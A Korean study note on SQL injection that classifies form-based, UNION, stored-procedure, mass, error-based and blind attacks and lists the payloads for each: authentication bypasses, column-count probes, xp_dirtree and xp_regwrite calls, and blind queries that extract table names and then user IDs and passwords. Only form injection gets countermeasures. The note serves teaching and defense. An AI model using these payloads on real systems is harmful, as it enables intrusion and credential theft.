1. 개요
- Web Application에서 입력받아 데이터베이스로 전달하는 정상적인 SQL 쿼리를 변조, 삽입하여 불법 로그인, DB 데이터 열람, 시스템 명령 실행 등을 수행하는 비정상적인 데이터베이스 접근을 시도하는 공격기법
- 무료 SQL Injection 취약점 스캐너 : Nikto(GNU 기반 오픈소스), SQLmap(블라인드 SQLi를 자동으로 수행, python에서 개발), Absinthe(GUI기반, 블라인드 SQLi 이용, DB의 스키마와 목록을 자동화 과정으로 다운로드)
2. 공격방식에 의한 분류
(1) Form SQL Injection
1) 개요
- HTML Form 기반 인증을 담당하는 애플리케이션 취약점이 있는 경우, 사용자 인증을 위한 쿼리문 조건을 임의로 조작하여 인증을 우회하는 기법
- 쿼리문 조건절(WHERE절)이 항상 참이 되도록 쿼리문 조작
2) 취약한 사이트 실습
- HTML 폼 기반 ID/PW 입력할 수 있는 로그인 페이지 : DB 쿼리문에 사용되는 특수문자 입력했을 때 에러 메시지가 발생한다면 입력값이 DB 서버까지 전달되어 처리 중 오류가 발생한 것이므로 입력값에 대한 검증이 이루어지지 않는 SQLi 취약한 페이지로 볼 수 있다.
- ID/PW에 'or1=1#, 'or'a'='a'# 등 WHERE절을 무조건 참으로 만드는 입력값 삽입 : POST 방식의 HTTP 요청 메시지를 통해 전달된다.
- 주요 데이터베이스 주석 처리 문자
MySQL | 여러 라인 주석 : /* 내용 */ 한 줄 주석 : # 내용 |
MS SQL | 여러 라인 주석 : /* 내용 */ 한 줄 주석 : -- 내용 |
Oracle | 여러 라인 주석 : /* 내용 */ 한 줄 주석 : -- 내용 |
3) 대응방안
- PHP 설정파일(php.ini)의 magic_quotes_gpc = On 설정하기 : get, post, cookie로 전달되는 데이터에서 특수문자를 일반문자로 치환(이스케이프 처리), 다만 PHP 5.4 버전 이상에서는 magic_quotes_gpc 설정 없다.
- mysql_real_escape_string() 함수 : 특수문자를 이스케이프 처리해주는 함수
- prepared statement 이용 : 외부로부터의 입력값을 제외한 쿼리 부분을 미리 컴파일한 후, 반복적으로 입력값만을 설정해서 실행하는 방식, 따라서 쿼리가 동적으로 변경되지 않는다.
- 파라미터 필터링 : 지정한 파라미터 필터링(블랙리스트 생성)
cf) 이스케이프 처리 : 특수문자 앞에 \를 붙여서 일반문자로 인식하게 하는 것
(2) UNION SQL Injection
1) 개요
- UNION SELECT 쿼리를 이용, 각각의 SELECT문의 필드 개수가 같아야 하고 타입이 호환 가능해야 한다.
2) 실습
- ' UNION SELECT 'admin', 'admin' -> 선행 select문의 where절 빈값으로 설정하고 union한다.
- 컬럼 갯수 파악 : ' order by 1 # -> 숫자를 1씩 증가시키며 SQL 에러 발생여부를 체크
- 컬럼 갯수에 맞춰서 ' union select '1','2','admin' # 이런식으로 진행하기
(3) Stored Procedure SQL Injection
- 일련의 쿼리를 마치 하나의 함수처럼 실행하기 위한 쿼리의 집합
- SQL Server의 xp_dirtree 확장 프로시저 실행 : ;EXEC master..xp_dirtree 'C:\' -> 성공시 c:\의 파일목록 확인가능
- SQL Server의 xp_regwrite 확장 프로시저 실행 : ;EXEC xp_regwrite -> 성공시 레지스트리 변경가능
(4) Mass SQL Injection
- 한번의 공격으로 대량의 DB값이 변조되어 홈페이지에 치명적인 영향을 미치는 공격
- DB값 변조시 악성 스크립트를 삽입하여, 사용자가 변조된 사이트 방문시 감염되거나 악성 bot 설치됨
3. 공격유형에 대한 분류
(1) Error-Based SQL Injection
- DB 쿼리에 대한 에러값을 기반으로 한 단계씩 점진적으로 DB 정보를 획득할 수 있는 방법
- DB 쿼리에 대한 에러가 외부로 노출되는 취약점을 이용한 공격
- 'and db_name() > 1 -- -> 테이블 정보 획득
- ' HAVING 1=1 -- -> 컬럼 정보 획득
- ' GROUP BY 컬럼명 HAVING 1=1 -- -> 다음 컬럼 정보 획득
- ' UNION SELECT @@version,1,1 -- -> 버전 정보 획득
(2) Blind SQL Injection
1) 개요
- 쿼리 결과의 참, 거짓을 통해 의도하지 않은 SQL문을 실행함으로써 DB를 비정상적으로 공격하는 기법
2) 실습
- 쿼리 조건의 참, 거짓에 따른 반응 확인 : ' and 1=1 #, ' and 1=2 # -> 반응 다르면 취약점 존재
- 테이블 정보 획득 : ' AND SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES #
- 컬럼 정보 획득 : ' AND SELECT TABLE_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS #
- 특정 테이블에 대한 컬럼 정보 획득 : ' AND SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='테이블명' #
- 테이블 정보 획득2 : ' and substr ((select table_name from information_schema.tables), 1, 1) = 'a' # -> 테이블명 첫글자가 'a'와 일치하는지 여부에 따라 반응 달라짐(>'t' 등을 이용해 시간단축 가능)
- 컬럼 정보 획득2 : ' and substr ((select column_name from information_schema.columns where table_name = '테이블명'), 1, 1) = 'a' # -> 컬럼명 첫글자가 'a'와 일치하는지 여부에 따른 반응 확인하기
- 테이블명과 컬럼명을 이용해 테이터 탈취 :
' and 1=2 union select 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i' # -> 각 컬럼별 출력 위치 확인하기
' and 1=2 union select null, null, null, 아이디컬럼명, 패스워드 컬럼명, null, null, null, null from 테이블명 #